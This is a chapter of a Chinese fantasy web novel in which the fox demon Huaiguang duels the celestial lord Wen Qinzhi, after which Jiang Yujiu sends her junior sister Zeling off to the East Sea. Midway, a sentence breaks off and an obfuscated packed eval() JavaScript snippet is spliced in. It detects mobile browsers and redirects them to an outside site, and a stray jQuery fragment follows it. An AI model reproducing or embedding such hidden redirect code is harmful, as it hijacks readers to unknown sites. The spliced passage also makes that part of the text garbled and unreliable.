怀光青色袍角一闪,下一瞬便出现在闻勤之面前,凌空而立!
闻勤之见状狞笑一声,一步跨出,挥出手中长枪,一杆缨枪裹挟着悍然神力,锐不可当地朝着怀光命门刺去!
怀光微眯双眸,抬掌对上瞬息而至的长枪,轻描淡写地爆发出一股令鬼神俱惊的妖力冲开缨枪,化去了闻勤之势要将怀光一击毙命的杀气。
“许久未见,你倒是更强了。”闻勤之一翻腕,挥舞手中长枪,长枪在空中划过金色的光芒。
他话音未落,下一道夺命攻势便紧跟着袭来!
怀光勾了勾唇角,一抹幽冷碧光自眼底浮起,妖气无声蔓延,他身后九条狐尾狂放舒展,每一狐尾皆裹挟着磅礴妖力。
怀光身形一闪,迎上闻勤之,轻柔道:“玄怋真君当真是,阴魂不散。”
闻勤之挡下怀光一击,冷冷道:“妖孽不死,我怎敢懈怠。”
他话中透出忌惮和轻蔑。
惊蛰煞实力一向堪称恐怖,闻勤之与怀光曾交手过两次,此次为第三次,每一次交锋皆可直观地感受到怀光的实力在以令三界心惊的速度精进。
怀光闻言笑着点点头,于虚空中凝出“生天际”,“生天际”劈空现世,怀光挥剑以更加毁天灭地的气魄攻向闻勤之!
霎时间天地骤亮,缨枪若金蛇狂舞,利剑如万霞齐飞!不断闪烁的刀光剑影,时快时慢,眨眼间两人已经交手过数十招。
威压惊得青丘泽里的妖兽四散奔走,但它们不是逃向远处,而是一波接一波地朝着这里涌来。
个别胆子小但嗓门大的小妖边跑边怪叫,嘴里还嚷嚷着:“什么破神,狗皮膏药!狗皮膏药!又来!又来!”
“闭嘴!”一旁威望更甚的妖制止了小妖的乱喊大叫。
姜寓九仍站在秋千旁,手搭恣意剑的剑柄上,眉头紧锁,神情专注地看着在半空中缠斗的两道身影,她心知这场打斗并非是她可以随意插手的。
这摧枯拉朽的打斗毫不意外地惊醒了则灵和李令望。则灵走到姜寓九身边,轻声问:“师姐,那人是谁?”
姜寓九低声道:“闻勤之,玄怋真君。”
“啊?”李令望不明所以,双手抱胸神情肃然,“真君?是神仙的那个真君吗?”
姜寓九声音冷静:“不错。”
则灵怪道:“那他为什么来这里?”
“他要杀怀光。”
“……”
姜寓九思绪翻飞,这玄怋真君瞧着便是一副天之骄子,傲视群雄的模样,且他是天界之人,如今打着“斩除妖孽”的口号来青丘泽斩杀怀光,听得方才两人的对话,他定当不是第一次来了。
真不知他是大义凛然至深,还是方正不阿过头。
正当他们谈话间,一道刺眼的光芒划过天际,罡风骤来,山岳般的妖力狠狠压向闻勤之!
闻勤之挥枪抵挡,缨枪爆发神光,他自半空落至地面,急急后退三两步,双足陷入地面半寸,勉强应下怀光一击。
怀光居高临下望着闻勤之,莹白的面上似笑非笑:“真君当真是实力欠佳。”
“妖孽!”闻勤之从牙缝里挤出一声冷笑。
姜寓九看着落在眼前的闻勤之,知晓怀光如今的实力应当在他之上,心中的担忧淡了几分,她稍稍抬手将则灵和李令望拨至身后,上下看了两眼闻勤之。
闻勤之有所察觉,偏头瞥了一眼姜寓九,只一眼,身形便一顿,他眼眸轻眯,面上带了一丝困惑,半晌后,似是想起什么来,轻嗤了一声:“你怎么会和妖混在一起?”
语气满含疏远却又带着一丝仿佛是统一战线盟友般的熟稔。
姜寓九乍听此言,心中翻涌起些许茫然和警惕,她面上是不动声色:“不劳阁下费心。”
闻勤之静默片刻,继而面带讥讽地一笑:“也是。事情愈发有意思了。”
说罢,他睨着怀光,眼里满是轻蔑,随后一挥缨枪,消失在了原地。
“就这么跑了?”李令望见状有些鄙夷,也有些忿恨,“没打得过就跑,打得过就喊打喊杀,到底是什么……”
姜寓九听了他在一旁的自言自语,知晓剩下的半截子话他暂且还没找到什么恰当的词,反正不是什么好词。
同时她在心中暗忖,从在玲珑山庄那得知曾经飞升的庄主曾擅自下凡告知生魂树的下落,再到如今亲眼所见一位真君竟擅闯青丘泽,万般容不下怀光……如此种种,或许可窥得几分天机。
怀光收回“生天际”,飘然落至姜寓九面前,唇角依旧挂着温柔的弧度,眼底却凝着些许幽暗,低声道:“是我的疏忽,本不该让他在此时闯进青丘泽。”
“姐姐没有被惊着罢,此事鲜少在青丘泽发生的。”
姜寓九还未回答,昨日白天见到的童子不知何时偷摸摸地站在了他们身后:“是哇!”
“青丘泽一向是很安全很隐蔽的!仙人定要常来呀!”小童子声音脆蹦蹦的。
李令望见缝插针,开口损了一句:“哪里来的小青蛙。”
怀光淡笑,抬手一指。
下一刻小童子便发不出声音了,他瞪着双赤红的眼珠,头顶的灰色兔耳此刻前后乱晃,记着被禁言前有人喊他“青蛙”,小炮弹似的扑向李令望,一股子要将李令望嘴巴撕碎的架势。
“不要禁言他,”姜寓九扯开了死扒着李令望不放的小童子,斜乜了一眼李令望,算是对他的警告,随后转向童子,“你叫什么名字。”
被解禁的童子咧开嘴一笑:“我叫温希!”
则灵在一旁扑哧一笑:“名字倒挺可爱。”
怀光不咸不淡问道:“你为何来此地?”
“养椿芝已备好。”温希怯怯看了一眼怀光,对姜寓九道。
姜寓九闻言,抬眸一见,这才发觉天光已然大亮!这一夜真真是折腾了许久,诸事皆来。万幸养椿芝已准备妥当。
她弯腰点点头:“多谢。”
温希胖手一抬,转眼便捧出一个巴掌大小的玉盒,他小心地打开玉盒,盎然的气息扑面而来!
姜寓九垂眸只见一株晶莹的灵草安然地被放置在中央,其通体泛着紫光,叶片在小幅度地摇曳。
“待解除身上秘术后,传承龙筋与龙鳞之时,服下养椿芝……”怀光靠在姜寓九身边,与她一同看着养椿芝,眸光闪烁,慢条斯理道,“便可安然渡过难关。”
姜寓九抬手轻轻合上玉盒,转头对上怀光的视线,洒然一笑,认真道:“真是多谢你了,怀光。”
怀光倾身凑近了一些,唇瓣轻启,温热的吐息打在姜寓九的睫毛上:“你我之间,何需言谢。”
姜寓九眨了眨眼,心道有些痒。
她旋即微微错身,躲过怀光的气息,看向站在一边的则灵:“我亲自送你前去东海。”
“不用的师姐,嗯……他说会来亲自接我。”则灵此刻还不知该如何称呼将锐。
姜寓九知晓她心中紧张,对她勾了勾唇道:“你且让我安心,将你送去师姐才能安心。”
“对!”李令望摸着下巴,应和道。
则灵低下头抿唇轻笑:“好。”
“……”
大致收拾妥当,怀光照旧在半空中划出一道裂隙,姜寓九几人施施然穿过裂隙,顷刻之间便来到了东海之滨。
姜寓九只在龙息珠中见过东海之滨,如今亲身处之,方可知眼前之景与龙息珠中的景象并无二致。脚下依旧是细软的白沙,身侧的海浪翻涌。
将锐站在幽蓝的天穹下,看样子是等候多时。
姜寓九停下脚步,拿着一枚储物戒,放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976715|174295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在则灵手心:“这个给你,你一同带去东海。”
“师姐……”则灵吸了吸鼻子,眼眶有些泛红。
“则灵。”姜寓九忽而正色,轻轻喊了一声则灵的名字。
稍作停顿,她看着则灵的眼睛道:“苏栖说了很多歪话,但她有一句话是对的。”
“这个世界的法则,到最后就是强对强,硬碰硬!”
则灵有些愣住,呆呆地看着姜寓九。
姜寓九嗓音稳而沉,不疾不徐道:“这个世上有诸多不奈何之事,亦有诸多可奈何之事。”
“我们能够让苏栖几人恶有恶报,有几分确实是因为是太微宗的弟子,也因为有怀光在场。”
“可我们并不虚伪,也没有仗势欺人。”
姜寓九的双眸直直对上则灵的眼睛,她知晓当初在暗室,则灵对长公主的话心有芥蒂,乃至生出了一丝怨气和不解。则灵从未说过,只是不想让姜寓九和李令望忧心,可并不意味着姜寓九没有觉察。
包括则灵毅然决然想要回东海解除秘术,传承将离留下的龙筋与龙鳞……
姜寓九眼底是一片清明,倏尔又对则灵一笑:“有很多善良的人美好又柔软,她们可以编织出大大小小的幸福与宁静。”
“也有很多善良的人冷硬又强悍,她们会和那些虚伪贪婪的人强对强,硬碰硬。”
“虚伪贪婪的人最是擅长将美好柔软的人归为怯懦无能之辈,也最是擅长将冷硬强悍的人归为自身的同类,并因此忿忿。”
“她说的错话太多,她的思想过于偏颇,你听了心中有震荡是正常的,但不用因此陷入自我怀疑。”
“我向来知晓你对自身要求甚高,这很好!师姐相信,假以时日,你定会成为顶顶厉害的人。”
“……或者是龙。”姜寓九对则灵眨了眨眼。
一声“呜呜”破坏了和谐的气氛,则灵憋着一泡泪没落下,李令望在一旁倒是掉了两滴泪珠。
姜寓九没搭理他,只轻轻搂住则灵:“早日归来,我们在太微宗等你。”
则灵回搂住姜寓九,泪眼婆娑:“嗯!”
“师姐,你给小灵什么了?”李令望也想抱,但插不进去,只好抽噎着插嘴。
则灵松开姜寓九,低头打开了储物戒,首先看到的便是江岱真人此前交给姜寓九的“乾坤罗盘”,此宝内含神火,姜寓九将其交予则灵,是想让她在东海自保。
当然,还有许许多多小玩意儿——
拨浪鼓、各式花样的手绢儿、上好的翡翠玉佩、极佳的胭脂水粉、画着仕女图抑或花鸟骏马的字画,以及精致的小灯笼……
皆是初入齐明国那日,则灵在玄武大街上东瞧西瞧,多瞄上几眼却从未驻足买下的小玩意儿。
姜寓九早就记在心里,给她买了来。
李令望不哭了,他心中泛起酸水,没忍住道:“我怎么没有!”
“你且稍等片刻,李公子。”
“哦……”
则灵此刻哭得稀里哗啦,完全说不出话。姜寓九暗叹一声,掏出手帕为她拭了拭泪,静静等她平复下来。
等待良久的将锐此刻走了过来,对姜寓九长揖:“请诸位放心,在东海,没人可以伤害则灵。”
姜寓九自是明晓将锐所言非虚,她忍住心中的不舍,对则灵道:“去吧。”
则灵深吸了一口气,眼神逐渐坚定,与姜寓九和李令望再次道了别,步伐平稳地随将锐离开了。
“师姐,我们回太微宗吗?”李令望恋恋不舍地看着则灵的背影。
“不,回一趟青丘泽。”
一直默不作声的怀光闻言双眸盛光,如玉的双耳染上一抹红。
“——啊?”
李令望一声夸张又不解的惊叫震得鸥鸟扑棱扑棱飞远了。